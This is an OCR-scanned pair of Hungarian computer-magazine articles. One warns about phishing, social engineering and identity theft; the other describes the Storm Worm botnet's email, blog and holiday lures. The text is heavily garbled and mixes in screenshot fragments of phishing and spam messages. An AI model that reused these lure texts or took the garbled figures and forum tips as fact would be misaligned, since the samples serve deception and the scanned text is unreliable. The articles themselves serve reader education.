meg a kartyapaklit!” Mivel az intemet
vildgat bizonyithatdan nem csupa Gral-
lovag népesiti be, szlikséges az egész-
séges, j6zan gondolkodds, a rendszeres
kételkedés. Mara mar elkertilhetetlen,
hogy az atlagemberek megszabadulja-
nak a naivitastdl, a tdlzott jdhiszem(-
ségtdl. Vesztenivaldja igenis mindenld-
nek van, nem intézhets el egy kézle-
gyintéssel: ugyan ki timadna éppen
engem, hiszen én jelentéktelen sziir-
ke célpont vagyck!” A megfeleld hoz-
zadllast taldn éppen Senecatdl leshet-
jik el: ,Aki mindenkiben meghizik,
az éppolyan kdros, mint aki senki-
ben sem.” Kell tehat egy alapértelme-
zett egészséges bizalmatlansdg ahhoz,
hogy késdbb ne vdljunk aldozatta. Ezt
minimélis informatikai tdjékozottsaggal
mar alapszinten elérhetjiik —ehhez ol-
vassunk iddnként szamftastechnikai és
biztonsdgtechnikai témdjli weboldala-
kat, magazinokat.

Atanmesében a farkas magdt a kecske-
mamanak kiadva kopogtat a kecske-
csaldd ajtajdn, ahol az egyedil 16vE kis-
gidak, tdvol lévé anyjuk tanacsdt ko-
vetve, arra kérik, el@szor mutassa meg
a mancsat, fehér-e — hat persze, hogy
nem az! A farkas hoppon marad -

dm nem adja fel, cselhez folyamodik.
A furfangos ordas liszthe meriti a mell-
56 labat, majd krétat nyel, és dgy megy
vissza Gjra. Mivel a ldba ezttal mar fe-
hér, és a hangja is vékony, hdt a kis-
gidak beengedik, a torténet folytatd-
sat pedig mar valamennyien ismerjiik.
Nos, a szamftégép-hasznaldk tobhsé-
ge még ilyen minimalis figyelmet sem
fordlit sajét biztonsaga megdvasdra. Uj-
bdl és (jbdl megjelennek a kéretlen le-
velek (spam) — a mellékletben digitalis
karteviickel — és mindig a felhasznalok
naivsagara, kivancsisdgara apellalnak
—sikerrel.

Kurnyikova meztelen fot6i, gyors ha-
szon a tézsdén, kilonleges gydgyszer-
akcio, azonnali add-visszatérités, Vis-
ta crack, kiemelked jovedelem napi
egy 6ra otthoni munkaval, univerzd-
lis szériaszam-generator minden virus-

Acikkben emlitett programok megtalil-
hatok a lemezmellékleten

dtv

Hans-Christian Schmid
Michael Gutmann

Az egyik elsé film, amely hackerekrdl
sz6l, valésagon alapulé térténettel

keresthoz, férfiassagnaveld, ingyen-
diploma, csodds fogydkdrarecept, 230
halottja van az Eurdpaban ddlé viha-
roknak, keresik a balesetben elhunyt
milliomos drokisét, és kildjik el az
(sszes személyes adatunkat — az isme-
retlenektd| érkezd levelek tipusainak
felsorolasa még hosszan folytathato.
Vajon Diane Clara igazdn azt gon-
dolja, hogy 30 dollarért meg fogjuk
venni a gydgyfivekbdl késziilt pénisz-
noveld piruldit? Es vajon az allitlagos
Ibra Usen, a Bank of Africa kiinywvizs-
gélati és kanyvelési szekcidjanak mun-
katdrsa Burkina Faséban valéban &t-

Tovabbra is az USA a tréjai és billentylizetnapléz6 programok f6 kibocsatéja



Tamadok

Célpontok
A korgk mérete aranyos a tamadasok mértékével

2006 DDoS, vagyis tavoli szolgaltatasmegtagadasos tamadasai

utalja majd takarékbetét-szimlank-

ra azt a 9 millié dollirt, ha megadjuk
a személyes banki adatainkat? Amfg
van, aki ezt elhiszi, nem lehet teljesen
(itjdt allni a csaldsoknak. Sajnos min-
dig akad kell sz&md balek, akik miatt
a rosszfiliknak megéri triikkozni.

Atipp régi: a 23 cimd filmben (1998,
rendezte Hans-Christian Schmid)

a fészerepldk Németorszdgban Co4
és Atari gépekkel tornek be kilonbo-
26 szamitogéprendszerekbe (a Karl
Kochrdl sz6l6 film val6sdgos esemé-
nyeken alapul, fiatalok egy csoportja
ténylegesen betdrt egy nukledris erd-
m rendszerébe). Az Stlet mar ott is
elhangzott: hogyan lehet betdmi oda,
amit nagyon Griznek? Hat fel kell al-
Iitani egy hamis kaput, amely igazi-
nak ldtszik, abba befrjdk az adatokat
a gyanatlan belépdk, uténa a ldtszat
kedvéért azért tovabbitani kell Gket az
igazi bejérathoz is, nehogy gyanakod-
janak, de az adatok méris a mi ke-
zlinkben vannak.

Az adathaldszat sordn internetes csa-
|6k e-maileket kildenek szét fontos
cégek (példaul bankok, hitelintézetek,
kézhivatalok) nevében, hogy meg-
tévesztve a cimzetteket, hozzaférje-
nek azok bizalmas adataihoz, példa-
ul hitelkértyaszdmokhoz, jelszavak-
hoz. Ezek a tritkkos tizenetek példaul
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Az adathalasz akcioknak sosincs uborkaszezonja, de a piros betiis in-
nepek kozeledtével mindig fellendiil a csalasi kedv
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felhivjak a felhasznald figyelmét arra,
hogy latogasson el egy internetes hon-
lapra, ahol azutan személyes adataik
beirasara utasitjdk, azzal az Urliggyel,
hogy frissitik az informaciokat, de akar
meg is fenyegethetik, hogy zdroljak
szamldjukat, ha nem mennek el az
adott weboldalra. Ami azonban elsé
pillantasra a vallalat hivatalos honlap-
jénak tdinik, az nem mds, mint a csa-
16k altal létrehozott tokéletes méso-
lat. Ha valaki itt megadja szamldjanak
részletes adatait, arra mar keresztet
is vethet: a csalék rekordsebességgel
megesapoljak azt. A machindcié lé-
nyege, hogy megtévesztéssel fontos
informaciokat csaljanak ki valakitdl,
Az adathaldszat az (gynevezett So-
cial Engineering tevékenységek csa-
ladjaba tartozik: ez egy szépen hang-
76 elnevezés, valdjdban azonban
olyan manipulaciét jelent, amelynek
segitségével, hamis ldtszattal olyan
dolgokra is raveheték az emberek,
amilyenekre megtévesztés nélkiil nem
lenne esély. Ujabban eléfordulnak
hamis telefonszdmmal valé visszaélé-
sek is, ilyenkor a bank nevében a csa-
16k vérjik ,adategyeztetésre” az tigy-
feleket. Meghaladja a cikk terjedelmét
a szamos — sajnos életszent és hihetd
— példa, amit Kevin Mitnick kényvei-
ben clvashatunk, ezért csak egyetlen
példét ragadunk ki: ,Hallé! |6 napot
kivanok, én a rendszergazda vagyok,
éppen rendszeratallas van, kérem,
diktdlja be gyorsan a jelszavét...” Akit
bdvebben is érdekel, mindenképpen
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A személyes adat érték, ne szorjuk magunkrol békeziien az informaciokat a ko-

zosségi partalokon

olvassa el a Megtévesztés miivészete
és a Behatolds mivészete cimd, ma-
gyarul is megjelent izgalmas koteteket,

Identity theft — azaz személyiséglopds.
Mit értlink ezen? A személyiség (sze-
mélyes adatok, kapcsolatok) eltulaj-
donitasat, valamilyen tisztességtelen
szdndékkal. Ez régota létezik (gon-
doljunk csak az ellopott Gtlevelek, jo-
gositvényok, igazolvanyok vagy akar
a jovedéki zarjegyek feketepiaca-

ra), a modern technoldgia azonban Gj
tavlatokat nyitott meg az elektronikus
forma eléitt. Ha a cikk olvaséja tigy
véli, 5t nem fenyegeti semmilyen ve-
szély, hiszen & ,csak” egy hétkdznapi
kisember, akkor méris sorolhatjuk az
ellenérveket. Jogositvdnya, helyrajzi
szémmal rendelkezd ingatlanja, bank-
kértydja valdszindleg, személyigazol-
vanya és TAl-szama pedig biztosan
mindenkinek van. Ha valaki a nevé-
ben bankkdrtydt, kélcsont igényelne
a banktdl, vagy a nevével visszaélve
hamis vasarlasokat vagy kérhazi szam-
lakat produkdlna, tudna néhany kel-
lemetlen percet szerezni. Akadnak
azonban olyanok is, akik személyes
adatainkkal visszaélve vagy pénzszer-
zési céllal, vagy bosszivagybdl is na-
gyon megkesetithetik az életlinket.
Pontos személyi adataink ismereté-
ben (kiolvassak az iWiW-rél) példaul
feladhatnak rélunk egy feljelentést az
APEH-nak, benne par szazmillié fo-
rint be nem fizetett adérél — ez lehet
egy személyes leszamolés a haragos-
sal vagy netdn a konkurencidval, de
az ellopott pénzligyi adatok, példa-

Még a legjobb biztonsagi szoftver sem segit, ha
személyesen ki tudjak kémlelni jelszavunkat

ul tzleti forgalom, dfa mértéke sth. bi-
zonyos célkdzonségnek (példdul tzle-
ti versenytarsainknak) igazi pénzt éré
informécid. Nem is soroljuk a lehe-
tGségeket, ezek belathatatlanok. Rej-
t5 Jend — aki a sok viddm kényv mel-
lett a komorabb Csontbrigddot is fr-
ta, melyben mintha el6re megérezte
volna a késébbi koncentrcios tabo-
rok hangulatat — azt irta, ,az fél igazan
a jovotdl, akinek van fantdzidja”

Ha megvizsgéljuk a cikk frdsakor ren-
delkezésre all6 statisztikdkat, a www.
phishtank.com adatai szerint tobb
mint 230 ezer adathalsz oldal szere-
pel a nyilvantartasukban. Hasonléan
riasztoak a www.anliphishing.org szd-
mai is: a phishing esetek széma szinte
minden évben megduplazadik. A cél-
pontok dontd hdnyada bank vagy
pénzintézet, 4-5 szdzaléka kiskereske-
delmi egység, és karlbeltil 1 szazalé-
ka internetszolgdltatd (ISP) vagy egyéb
villalkozas. Foldrajzilag is érdekes

a kép: ittaz USA, Kina és Oroszorszag
koveti egymést — ezek a billenty(le-
utés-naplézd (keylogger) &s trojai le-
t5ltSk dltal haszndlt és az adott orszdg-
ban hosztolt webhelyekre utalnak.

A Symantec 2006 masodik félévérdl
52016 jelentésében pedig lzrael bizo-
nyult az internetes tdmadasok meleg-
dgydnak, masodik Tajvan, ket ko-
vetik az Egyesiilt Allamok és Lengyel-
orszag. Ez persze nem okvetlendl az
elkovetSk nemzetiségét jeldli, hanem
csupén a rosszindulatd kédokat fut-
taté gépek helyszinére utal. Az Gjabb
dsszefoglald tandisdga szerint az inter-
neten keresztll végrehajtott tdmada-
sok dontéen tovdbbra is az Egyestilt
Allamokbal indulnak, a masodik he-
lyen e tekintetben Kina all, &s megle-
petésre Oroszorszag kiszorult az elsé
tizbdl, a harmadik helyen Németor-
szag valtotta fel. Papp Péter informa-
ciébiztonsagj szakért§ novemberi saj-
totdjékoztatéjan hangzott el az az ér-
dekes adat, miszerint a blindzéknek
nagyon is kifizetSd6 az elektronikus
csaldsokkal foglalkozni, hiszen 2005-
ben ebbdl mar tébb pénzitk szarma-
zott, mint a drogkereskedelembdl.

A szdmitégépes csaldsokkal okozott
kir az USA-ban elérte a 105 milli-
ard dollart.
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Mit tudhatok? Mit kell tennem? Mit
szabad remélnem? Ezekre a kérdé-
sekre igyeksziink most felvazolni né-
hény hasznos tanacsot.

* Az internet haszndlatakor a sza-
mitégép védelme érdekében a lehetd
legnagyobh gondossageal jarjunk el;
az esetleges virusfertGzésekkel, betd-
rési kisérletekkel és tréjai programok-
kal szemben véditk rendszertinket
tiizfallal, viruskeresével és kémprog-
ramirtdval.

» Rendszeresen toltsik le az dlta-
lunk haszndlt operacids rendszer-
hez, bongészéhoz, viruskeresshoz, és
egyéb szoftverekhez az elérhets fris-
sitéseket, javitdverziokat s csoma-
golkat.

* Mdsok jelenlétében, illetve nyilvd-
nos helyen (példaul internetkave-
z6, munkahelyen sokak ltal kézosen
hasznalt gép stb.) ne vegytink igénybe
banki internetes szolgaltatst.

* Hasznaljunk kelléen erés (nem sa-
jat vagy csalddtagjaink nevét, hanem
kis- és nagybetiiket, valamint egyéh
karaktereket is tartalmaz6, tovabba tiz
karakter hosszdisag feletti) jelszavakat,
és ezeket rendszeres idGkdzonként,
példaul negyedévente cseréljik.

» Gyanii esetén tekintsiik tgy, mint-
ha jelszavaink maris illetéktelen ke-
zekbe keriiltek volna, és haladékta-
lanul véltoztassuk meg Gket — biztos,
ami biztos alapon.

Az ingyenes Erase segédprogram ha-
tasosan segit eltiintetni a nemkivana-
tos adatokat eladasra varé hasznalt
gépiinkrdl

ESET Smart Security

ESET Smart Security
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Maximalis védelem
Az ESET Smart Security maximéis védeimet biztosit szémitdgépe szdméra.

« Vitus- és kémprogramvédelem

+ Levélszemarsziing

Elndritott timaddsok széma: o
Virusdefinicids adatbdzis verzid:
A licenc éreényesséoi idajének vége; 2009.12.31.

« Ne legyiink lustak, & minden hely-
szinen mds, egyedi jelszét valasszunk.
Kevés szdnalmasabb és elkeserftbb
dolog van, mint ha valakinek minden-
hol ugyanaz a jelszava, és amikor azt
ellopjak, rovid dton a banki, levelezé-
si, web-, FTP-, lizend- és iWiW-kap-
csolatait is szétddljak — rosszabb eset-
ben illetéktelentil felhasznaljak a ne-
vikben.

* Fontos vagy bizalmas adatokat tar-
talmazd nyomtatott vagy kézzel it pa-
pirjainkat ne dobjuk egy darabban
a szemetesbe, hanem lehetdség sze-
rint sajdt keziileg semmisitstik meg
Gket valamilyen médon (iratdardld,
égelés, apro darabokra tépkedés stb.).

* Fontos vagy hizalmas adatokat tar-
talmazg adathordozdinkat thajlékony-
lemez, CD, DVD) ne dobjuk ki egy-
szer(ien a szemetesbe, hanem célsze-
rdi sajét kezlileg megsemmisiteni Gket
(példaul késsel vagy csavarhtizéval
karcoljuk dssze a feltiletét, torjlik szét).

= Ha eladjuk kordbban hasznélt adat-
hordozdinkat (merevlemez, USB-hat-
tértdr, memériakartya, belsé mems-
ridval ellatott digitélis fényképez&aép,
iPod), ne csak egyszertien tordljtik an-
nak tartalmat, mert az adatok kiilon-
féle adat-helyredllitd célprogramok-
kal egyszer(ien visszadllithatdk. Lehe-
1dség szerint sajét kezdleg irjuk feldl
semmitmondo adatokkal, vagy hasz-
ndljunk tohbszords alapos torlést vég-
26 segédprogramot (példaul Eraser,
DBAN, Secure Erase), és csak ezt ko-
vetden adljuk tovabb Sket. A miiko-
désképtelen merevlemezt akér sajat
kez(leg is megsemmisithetjiik, ehhez
dobjuk tiizbe, firészeljik ketté, vagy
farjuk at farégéppel.

« Lejart bankkartydnkat vagy mds,
miianyag alap( azonossagi igazolva-
nyunkat kidobas elétt alaposan sem-
misitsik meg: égessiik el, vagy vagjuk
szét egészen kis darabokra.

» Ha az utcan vagy bérhol adat-
hordozét (CD/DVD, USB-kules sth.),
vagy iPodot taldlunk, legyiink gya-
nakvdak! Hatha pont nekiink készi-
tették oda, akdr egy djfajta billen-

Fehasndldi feiilet v Bedlitisok» Eszozkw Soodv

2703 (20071205)

A védelem alapja a jé mindségli virus- és kémirtd, egy jo tiizfallal megtamogat-
va, az okos heurisztika pedig segit tavol tartani az Gjabb tréjai és egyéh karté-

kony programokat
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«Mire vagsz fel, breg? Darabokra!" - mégpedig 526 szerint. Nem éart tudni, hogy
a szervizekben a cseregarancidra leadott hibas mereviemez barhova keriilhet: ja-
vitjak, ajra eladjak, esetleg szakszeriitleniil egyszeriien kidobjak a szemétbe

ehayhid

tylizetlelités-napldzd nates
(keylogger) vagy mas

Vednesday, October 11, 2005 7:50 AM.
To: e ghotmai.com
Subject: RE: dlert Message 5982055515185

1. Gyaniis e-mailcim J

kémprogram is lapul-
hat rajta. Ez a médszer

Y

2. Surgetési kisérlet [

nagyon népszeri ve-
zetd beosztast embe-
rek elleni célzott kém-

Hurry! Message for ssssssss@hotmail.com. Update Now!

Dear s@hotmail.com,

We are contacting you Lo remind yau that en 10 OCT 2006 we idantified some unusual actiity in

kedésre.

= A névtelen, Gjon-
nan megjelent védelmi
csodaprogramokat ne

hittps/fsignin.ebay com!

"201.8.43.167 { IP address located in China ) . We
haf 3. Szokatlan h your account has been reported as lost or stolen
an ditumforadturn hat there were additional problems with your card

According to our site policy you will have 1o confirm that you are the raal cwner of the eBay
account by complating tha following form or alsa your account will ba marked as fraudulent |, and
will ramain open for investigation. You will pay for the fees wich will result from lbyﬁnaru:iil

transactions between eBay and FIT ( Fraud

4. Fenyegetés

feBaviSAPLI?

a sajdt boriinkon pro-
baljuk ki, hiszen ezek
kozétt szdmtalan csa-
lard, hamis riasztast

Sionin&co_partnerid=2&pUserd=8sileid=0

eBay's Privacy Palicy and Law'
eBay community and will pr

P P th |
enforcement to prevent c.amf[S. A link és az URL Status Bar tartalma }E o

eBay's Privacy Central for m

ieType=4pal=ai1=&bshowa=8UsingSSl =yes

reement Disclosurs: We care deeply about the privacy of the

killénbbzik

PR P - It ffuseraid.comf.../
produkdld, sdt erdsza-

kosan védelmi pénzt
kovetel alkalmazds is
akad. Haszndljunk neves, a teszteken
jol teljesitd, ismert, illetve megbizhatd
és elérhetd hivatalos gydrtdtdl szdrma-
z6 viruskeresdt, amelyhez magas szin-
vonali terméktamogatds is jar.

Persze a sziikebb szakma is Gitlete-
ket merit a forumok hasabjain, ime az
ezekbdl kimazsoldzott két legérdeke-
sebb hozzaszdlas:

* Ha frissen felfedezett, még nem
letiltott adathaldsz oldalra tévediink,
érdemes ott gyorsan feltslteni a rubri-
kakat szemét adatokkal, hogy az adat-
halaszoknak a felgyiilemlett adlatbazis-
bél nehezebb legyen kinyerni a valodi
aldozatok adatait. Mivel ezeket tgyis
eladjak (mdrmint a begy(ijtstt adato-
kat), hdtha megér elébb-utobb par t6-
rgtt labat a sok hibds adat.

» Bankkartyankra érdemes tollal ra-
irni egy teljesen rossz PIN-kédot, hogy

A hivatalos helyrél érkezé levelekben sosincs ilyesmi

az esetleges tolvaj esélye erdsen limi-
talédjon (id6ben és a kisérletek sza-
maban).

Ahogy Obi-Wan Kenobi fogalma-
zott: ,Harcolni sokféleképp lehet”.
Ha elleniink is ezt teszik, nem csuk-
hatjuk be a szemiinket, nekiink is val-
toznunk, tanulnunk, figyelntink kell,
és meg kell ismerni az ellenséget.

Hk ok
Kérjlk kedves olvasdinkat, ha a té-
maban kérdésik, hozzaszolasuk
van, juttassak el hozzank (vele-
meny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tanacsadd
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

KAPCSOLODO WEBOLDALAK, KIADVANYOK

Secunia Software Inspector:
secunia.com/software_inspector/
David Manning filmje a spamrdl:
www.imdb.com/title/tt0936495/
www.rootkit.com
www.phishtank.com/stats.php
www.virushirado.hu
www.biztonsagportal.hu
wigwam.info

virusirto.lap.hu
www.antiphishing.org/

www.shadowserver.org
www.heidi.ie/eraser/

Kevin Mitnick:

A megtévesztés mivészete
Kevin Mitnick:

A behatolas miivészete
Dr. Kiirti Sandor:

Az Infostrizsa

Nemere Istvan:

Csal6k kényve
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Viharos események

Sorozatunk hatodik epizodjaban ma az id6jaras és a kartevok kozti dsszefliggésekrdl esik szo
a StormWorm, azaz a Viharféreg kapcsan. Az, hogy nem mindennapi ellenféllel van dolgunk, ha-
marosan kideril a részletekbdl. A Storm, Small.DAM vagy Nuwar néven is ismert féreg minden
idok talan leghatékonyabb kartevdje.

alt id6rél sajnos szé sincs
—akis aranyos” még min-
dig kéztiink van, s6t hétrdl

hétre hatékonyabb. Védekezni elle-
ne csak megfontolt dontésekkel le-
het. Ehhez viszont nem drt, ha meg-
ismerjiik kordbbi médszereit!

... llletve viharok ddlnak, és ez re-
mek alkalom egyes virusirok szama-
ra, hogy tjabb gyandtlan dldoza-
tokra szabadithassdk ra kartevéiket.
Tobb felvonasban érkezik a Vihar-
féreg (hopp.pcworld.hu/4223), de
a séma az unalomig ismert: az at-
lagfelhasznadl6 kivancsisagdra apel-
ldl. llyen targysord leveleket kaphat-
tunk a Viharvirus, azaz Storm\Worm
elsé felbukkanasakor:
— 230 halottja van az Eurépdban
ddl6 viharoknak
— Russian missile shot down
Chinese satellite
— Russian missile shot down
USA aircraft
— Sadam Hussein alive!
— Fidel Castro dead
- Hugo Chavez dead
Aleleményes karteviterjesz-
t6k minden alkalmat megragadnak,
hogy a bekovetkezett tragédiakat,
elemi csapasokat, valGs vagy kitaldlt
vilagpolitikai érdekességeket, szen-
zaciokat, tinnepi évfordulokat stb.
(hopp.pcworld.hu/4224) felhasz-
nalva minél tébb sebezhetd szami-
togépet szerezzenek meg botnet-
hadseregiikhoz.

Még kordnt sincs vége a Viharféreg-
gel kapcsolatos torténetnek — a kar-
tevét szorgosan fejlesztik tovabb. Is-
mét egy komoly tamadasi hullam
zajlott le (hopp.peworld.hu/4224),

és olyan {j variansok bukkantak fel,
amelyek kernel mad rootkitek segit-
ségével (hopp.pcworld.hu/4225) rej-
tik el futd folyamataikat, Registry-be-
jegyzéseiket, valamint aktiv halozati
kapcsolatukat. A rootkit olyan eszkoz
(vagy eszkizok gydjteménye), amely-
nek segitségével titokban lehet vezé-
relni egy szamitogépet. A rootkit kife-
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Viharok, arvizek jonnek, kilonféle katasztrofak iitnek be, de a jelek szerint

nem csak a helyszinen tartézkodék valnak aldozatta: a kivancsi kattintgatok

szamitogeépe is konnyen egyfajta csatatérré valtozhat

jezést Windows-alapui rendszereken
dltaldban az olyan programok meg-
hatarozasara szoktak haszndlni, ame-
lyek futd folyamatokat, dllomdnyo-
kat vagy rendszerleird adatbazisbe-

li (Registry) kulcsokat rejtenek el az
operacids rendszer, illetve a felhasz-
nald eldl. Az ilyen Windowsra tele-
pitett rootkit olyan funkcickat hasz-
nédl, amelyekkel ily médon nemcsak
sajdt magat képes elrejteni, hanem
tovabbi kdrtékony kodokat — példd-
ul billentydledités-naplozot (keylog-
ger), virust, kémprogramot — is észre-
vehetetlenné tud tenni. A rootkitek
nem sziikségképpen csak rosszindu-
latd kodok elkészitéséhez hasznalha-

tok, de az utobbi idében mind gyak-

rabban vetették be ezt a rejtézko-
dé technikat a rossz oldalon. Ezzel
a modszerrel a StormWorm szinte
teljesen észrevétlentl tud tevékeny-
kedni a fertézott rendszereken, pél-
ddul nem jelenik meg a Feladatke-
zeldben, és futdsat, ténykedését is
igyekszik leplezni.

A blogvirus tulajdonképpen a Vi-
harféreg egy specializilédott val-
tozata. Az eredeti StormWorm e-
mailekhez csatolt fdjlokban terjedt,
ezek megnyitdsa utdn olyan rossz-
indulatd szoftvert telepitve a gép-

hut sttt Lol

A StormWorm (mas néven Nuwar) kezdeti terjedése a nagyvilagban -

illusztracié az F-Secure weboldalarol

re, amely tovabbi tdmaddsok kivite-
lezését teszi lehetdvé. Az Gj varidns
is hasonl6, am tartalmaz egy (j ele-
met: amikor a fert6zott gép tulajdo-
nosa blogbejegyzést ir, vagy online
tizendfalon hagy tizenetet, minden
egyes bejegyzésébe bekerdl egy
fertézétt weboldalra mutaté link is.
A blog az ut6bbi id6k slagermdifa-
ja, az online napldk szama hihetetlen
iitemben nd, igy az ilyen veszélyek
jelentdsége is emelkedhet a jovében.

A McAfee kutatdi jelentésiikben
egy olyan vészforgatokonyvet tar-
tak a nyilvanossdg elé, amelyben

a becslések szerint mintegy 1,7 mil-
lio gép felett sikerdl uralmat sze-
reznie a zombigépekbdl 4llé Storm-
Worm hélézatnak, Feltételezésiik
szerint ezt a leny(igozd erdt nagy
val6szinséggel célzottan, kiemelt
célpontok ellen fogjak felhasznalni:
nagy szolgaltatok, illetve kormdny-
zati szervek ellen iranyuld elosz-
tott szolgltatdsmegtagadasi tdma-
ddsra (Distributed Denial of Ser-
vice — DDoS), mint azt korabban
mar kiprobaltak, igaz, kisebb lép-
tékben (hopp.pcworld.hu/4226). Ez
a korabbi becsléseknél joval kiter-
jedtebb méretd hdlézat, és emiatt

ime egy zsenialis 6tlet a captcha
védelem térésére: a feltorendd

eredeti oldal kodellendrzé részletét
b 1dalk

agyazzak egy és
mindig lesz néhany balek, aki
onként és dalolva begépeli a hozza

tartozo szoveget




A YouTube-uzenetek szerint ilyet
lehet nyerni. Szerintiink meg egy
tréjait a gépre

pusztité ereje is nagyobb lehet, il-
letve lesz.

Ezzel ellentétes dlldspontra he-
lyezkedett az F-Secure. Ahogy Mik-
ko Hyppdnen kutatdsi igazgatd fo-
galmazott: szerinte a fertGzétt PC-k
szama minddssze néhdny tizezer le-
het csak, és ezzel nem lehet jelen-
tésebb karokat okozni.

A hénap vége felé aztan djabb
fejlemény tortént: a Sunbelt mun-
katdrsai webnapldkban, példaul
a Google Blogger oldalain is észlel-
tek tobb szdz olyan, napi bejegy-
zésnek latszo, félrevezetd (izene-
tet, amelyek kiilonbozd tritkkokkel,
példaul ingyenes szoftverlettltéssel
kecsegtetve egy latszélag drtalmat-
lan URL-hivatkozdsra irdnyitottdk az
olvasét, amely azonban egy tréjai
programot prébalt az aldozatok gé-
peire letdlteni.

Az, hogy a biindzék egyre tébb
helyen prabaljak terjeszteni fertd-
26 trojai programjukat, nem megle-
pd, hiszen minél tibb gépet sikeriil
uralmuk ala hajtani, annél nagyobb
profitot tudnak termelni a halozat
fenntartojanak, a ,botnet-pasztor-
nak”, aki legtobbszor bérbe adja ezt
az erdforrast spamlevelek terjeszté-
séhez, illetve DoS- vagy DDoS-td-
maddasokhoz.

E-mailben érkeznek az (izenetek,
benniik egy hamis National Foot-
ball League (NFL, az amerikai fut-
ballszévetség, NFL) oldalra muta-
to linkkel. A megtévesztd weboldal
egydltaldn nem tartalmaz semmi-
lyen kdrtékony kédot. Ha azon-
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ban valaki rakattint barmelyik link-
re vagy a képre, mindegyik a trac-
ker.exe nevi trojai allomdnyt tolti le
egy masik szerverrdl.

Ide is befészkelte magdt a Storm-
Worm: az , Invite your friends” szol-
gdltatast felhasznalva a spamme-
rek leveleket prébaltak kiildozgetni
JNyerj egy Halo3-at” szovegi levél-
ben (ez egy Xbox jiték), dm a mel-
lékelt link ismét egy tréjai program-
ra mutatott. A jelentések szerint
legaldbb 150 ezer ilyen levél ment
ki hamis e-mail cimekrél, amelyeket
a Gmail- és Hotmail-szolgdltatok-
nal, a képes kadbeiro (captcha) el-
lendrzés kikeriilésével regisztraltak.
Szerencse a szerencsétlenségben,
hogy ha friss adatbazissal rendel-
kezd virusirtot hasznaltunk, akkor
nem sikeriilt igy megfertdzni a sza-
mitogé piinket.

A biztonsagi cégek figyelmeztetnek,
hogy a ,Happy Halloween” és
»Dancing Bones” cimmel érkez6 le-
velek linkjei a hires-hirhedt Storm-
Worm trGjaira mutatnak, ezért sem-
miképpen ne kattintsunk rdjuk.

A levelekben egy link taldlhatd, am
az igért telepitGfajl helyett egy tréjai
program téltddik le gépinkre.
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eLiek WERE For A

SPooSKY GFoor TihE

Szaporodnak a kartevék letoltésére szakosodott weboldalak

2007 végén a Storm elsésorban az
tnnepekkel kapcsolatos izenetek
révén igyekezett terjedni, példdul
a happycards2008.com vagy newy-
earcards2008.com nevd tréjai dllo-
ményok formdjaban. Ezek mellett
a Mrs. Clause, egy Mikuls-ruhds,
vetkdzd holgyeket bemutato ingye-
nes képernyGvédd — amely valoja-
ban egy trojait tartalmazo letoltés —
is sokakat megtéveszthetett. Az volt
az igazdn meghtkkentd ebben az
esetben, amit az F-Secure weblog-
jaban olvashattunk: a vizsgdlt mer-
rychristmasdude.com fertézott ol-
dal minden mésodpercben masik
IP-cimhez tartozd szerverrdl tolts-
dott be, ily médon nehezitve a vé-
dekezést, illetve a nyomozast.

Az évnek még mindig nincs vége:
érakkal a Benazir Bhutto, kordb-
bi pakisztani miniszterelnok elleni
merénylet utan mar akcicba lendiil-

tek a kartevékészitsk. Megjelentek
az olyan linkek a killonbozd blog-
oldalakon, amelyek a gyilkossagrél
késziilt videot igérték, amde — mi-
né meglepetés! —, az egy Active-
X csomagot hidnyol, azonban en-
nek letdltése helyett a link egy tré-
jaira mutat.

A StormWorm botnet szamitdsi ka-
pacitasa allitlag vetekszik a vi-

lag szuperszamitogépeinek teljesit-
ményével. Egyesek 50 millidra, mig
az ovatosabbak 1-2 milliéra becsi-
lik a szamitogépek szamat ebben

a botnethdlézatban. Micsoda érid-
si szdmitdsi teljesitmény! A titkos-
szolgdlatok joggal aggddhatnak. Itt
azért atértékelGdik a kilonféle erds-
ségli kddok feltoréséhez sziikséges
idsmennyiség kérdése is, és persze
a rainbow-tabldk generaldsa is fel-

= =
Find lani What Is Keepin Santa So Jolly!

-

atch these sexy girls give you that special

Santa %reatment! Each one does her best to
make you really feel the Holiday Spirit!

il

TI]ia Giris Are Naughty and Nice!

Get Your Perscnal Holidhy Strip Show Today

Dow

DFOR FREE Nowi™»

December egyik slagere volt a firdéruhas lanyokkal ékesitett mikulasos
képerny6védg, jar a pluszpont a rosszfiuk csapatanak - otletekért nem kell
a szomszédba menniik

Ujabb atverés: nehéz egy sportrajongotél elvarni, hogy ne kattintson
kedvenc oldalan - legalabbis amit annak hisz
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Posted by Variety Actess ot 422 A

Menday, August 27, 2007

ERMX Announces Dividend Plans
Asset Expansion Plan Goes Into Place, Announced ERAX!

Entrowatrix (ne, (ERMY)
30,089 UP 11,28%

Gladiator challenge is now an ERMX asset. G.C. is mixed martial arts

higgest live event promoter, This asset expansfon will develop new

dividend oppartunities, Review the release, and be ready for open on e
Tuesday,

Fostod by Variety Aosess at 3120 P 0 somments

Benazir Bhutto halala is kapdra jott a csaléknak

gyorsithatd ilyen irdatlan eréforrd-
sok birtokdban.

JTeljesitményben a botnet csi-
nydn lenyomija a szuperszamit6gé-
peket. Nagyon ijeszté, hogy ekko-
ra szamitési kapacitds all a biinézok
rendelkezésére, de nem nagyon te-
hetiink ellene semmit” — dsszegez-
te a helyzetet az InformationWeek-
nek Matt Sergeant, a MessageLabs
spamellenes részlegének miszaki
igazgatoja.

Az informécits hadviselés kules-
fontossaggd, ahogy azt
Bruce Willis Die Hard
4.0 cimdi filmjében is
lathattuk. Emlékeze-
tes, hogy 2007 majusa-
ban az észtorszagi IP-
cimek ellen Oroszor-
szdg inditott timadsst

A Sans Institute (ISC) kutatdi sze-
rint azonban lehet, hogy a virtu-
alis gépekkel vald elemzd tamo-
gatds veszélybe kertilhet, ugyanis
az (j Storm féreg — amelynek ké-
szit6i szemlatomast talalékony el-
mék — felismeri a virtualis kornye-
zeteket, és ezek alatt nem fertdz.
A cikk (hopp.peworld.hu/4222)
szerint a Microsoft Virtual PC-je,
valamint a talan leghiresebb, tobb
kiilonféle platformon is elérhetd
VMware program eshet igy ki a vi-

&) Message Box Object Error

Video ActiveX Object Error:

Your browser cannot display this video file.

You need to download new version of Video
ActiveX Object to play this video file,

— gyanithatd, hogy ezt

a modszert fogjuk még
tapasztalni kilonbozé

cick Continue.

konfliktusokban. Na-
gyon jO eldadast lat-
hattunk errdl a témarol
a 2007-es Hacktivity
konferencidn Muha Lajostél (Ga-
bor Dénes Féiskola) , Kiberhibo-
11 az orosz—észt viszony kapcsan”
cimmel.

Igen hasznos médszer a kartevok
